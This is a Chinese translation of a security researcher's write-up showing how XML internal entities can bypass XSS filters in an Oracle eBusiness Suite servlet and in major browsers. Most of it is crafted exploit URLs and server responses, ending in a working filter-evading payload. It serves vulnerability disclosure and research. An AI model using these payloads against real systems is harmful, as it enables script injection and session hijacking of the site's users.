来源:BypassingXSSFiltersusingXMLInternalEntities
原作者:DavidLitchfield ([email protected])
译:Holic (知道创宇404安全实验室)
tl;dr
若 Web 应用在后端处理了一些 XML 文件,而且存在 XSS 漏洞的话,那么或许能使用 XML 实体来绕过常用 web 浏览器的 XSS 过滤器,比如Chrome, IE 和 Safari 浏览器。同样在 Firefox 浏览器下依然有效,不过显然它没有 XSS 过滤器。
Oracle's eBusiness Suite 12.x 以及更早版本中的 BneApplicationService servlet 存在跨站脚本漏洞,这个最初与外部 XML 实体漏洞(XXE)同时被发现。
如果请求以下的URL:
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=XXX
将会得到如下响应:
The following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException -oracle.apps.bne.exception.BneFatalException: XML parse error in file at line 1, character 1.Log File Bookmark: 392699
那么我们可以修改请求把它包装在一个 XML 标签中。
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<FOO>XXXXX</FOO>
现在我们会得到以下响应:
he following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException - java.lang.ClassCastException:oracle.xml.parser.v2.XMLText cannot be cast to oracle.xml.parser.v2.XMLElementLog File Bookmark: 602808
因此我们需要弄清楚在后端的类中发生了什么。如果看源代码的话,我们将会发现在createBodyBneStyle
方法中如下内容:
XMLDocument localXMLDocument = BneXMLDomUtils.parseString(this.m_messagesXML); XMLElement localXMLElement1 = (XMLElement)localXMLDocument.getDocumentElement(); NodeList localNodeList = localXMLElement1.getChildNodes(); for (int i = 0; i < localNodeList.getLength(); i++) { String str1 = ""; String str2 = ""; String str3 = ""; String str4 = null; String str5 = null; Node localNode = null; XMLElement localXMLElement2 = (XMLElement)localNodeList.item(i); NamedNodeMap localNamedNodeMap = localXMLElement2.getAttributes(); localNode = localNamedNodeMap.getNamedItem("bne:type"); if (localNode != null) { str1 = localNode.getNodeValue(); } localNode = localNamedNodeMap.getNamedItem( b"ne:text "); if (localNode != null) { str2 = localNode.getNodeValue(); } localNode = localNamedNodeMap.getNamedItem("bne:value"); if (localNode != null) { str3 = localNode.getNodeValue(); } localNode = localNamedNodeMap.getNamedItem( b"ne:cause "); if (localNode != null) { str4 = localNode.getNodeValue(); } localNode = localNamedNodeMap.getNamedItem("bne:action"); if (localNode != null) { str5 = localNode.getNodeValue(); } if ((!str1.equalsIgnoreCase("DATA")) && (str2 != "")) { localStringBuffer.append("<p><b>" + str2 + "</b></p>"); localStringBuffer.append("<p>" + str4 + "</p>");
我们可以看到,如果我们设置 bne:text
的值不是词'data‘,那么它和 bne:cause
的值将会返回给浏览器。这便允许我们创建一条不存在解析错误的查询字符串:
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo"% 20bne:text="ABCDEF" bne:cause="GHIJKL"></bne:a ></message>
我们马上能看到这是很容易产生 XSS 的。我们简单地试一下;我们发送 <IMG SRC=/x onerror=alert(1)>
看看发生了什么:
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="<IMG SRC=/x onerror=alert(1)>"></bne:a></message>
Reserved program word
<message><bne:a xmlns:bne="foo" bne:text="ABCDEF"bne:cause="<I ...
detected.Press the Back button and remove the reserved program word. Contact your system administrator if thevalue cannot be changed
OK,所以 BneApplicationService 是有我们需要绕过的内置 XSS 过滤器的。回想一下我们最初找到的XXE处理漏洞。尝试使用外部 XML 实体(测试失败,因此并不受XXE攻击影响)之后,它启发我使用内部XML实体绕过 XSS 过滤器。这将会使得我们通过分解成占位符之后重建的方法对攻击进行伪装。但我们先看看什么是不被允许的。我们先去掉第一个左尖括号:
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="IMG SRC=/x onerror= alert(1)>"></bne:a></message>
Ok, 看来可行。因此绕过 BneApplicationService 内置的过滤器,我们仅需要内部 XML 实体生成左尖括号即可,因此我们天津一个内部实体叫 xxx ,分配给它尖括号的值:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx"<">]>
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml= <?xml version="1.0" encoding=" UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx " <">]>% 3Cmessage><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="&xxx;IMG SRC=/x on error=alert(1)>"></bne:a></message>
我们的 alert(1)
并没有执行,可想而知,因为 Chrome 的XSS过滤器发现了攻击行为:
那么我们必须绕过 Chrome 的 XSS 过滤器了。我们同样也可以使用内部XML实体来解决。我们创建 IMG
, SRC
和error中的one
实体。这些实体会被 web 服务器 的XML 解析器处理重组,但不会被 Chrome 当做反射型 XSS 攻击进行处理。
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<?xml version="1.0" encoding="UT F-8"?><!DOCTYPE DWL [<!ENTITY xxx "<% 22><! ENTITY yyy "IMG"><!ENTITY zzz "SRC "><!ENTITY ppp "one"% 3E]><message><bne: a xmlns:bne="foo" bne:text="ABCDEF" bne:caus e="&xxx;&yyy; &zzz;=/x &ppp;rror=alert(1)>"></bne:a ></message>
在以下浏览器测试成功:Firefox version 47, Chrome 51, IE 11, Safari 9.1.1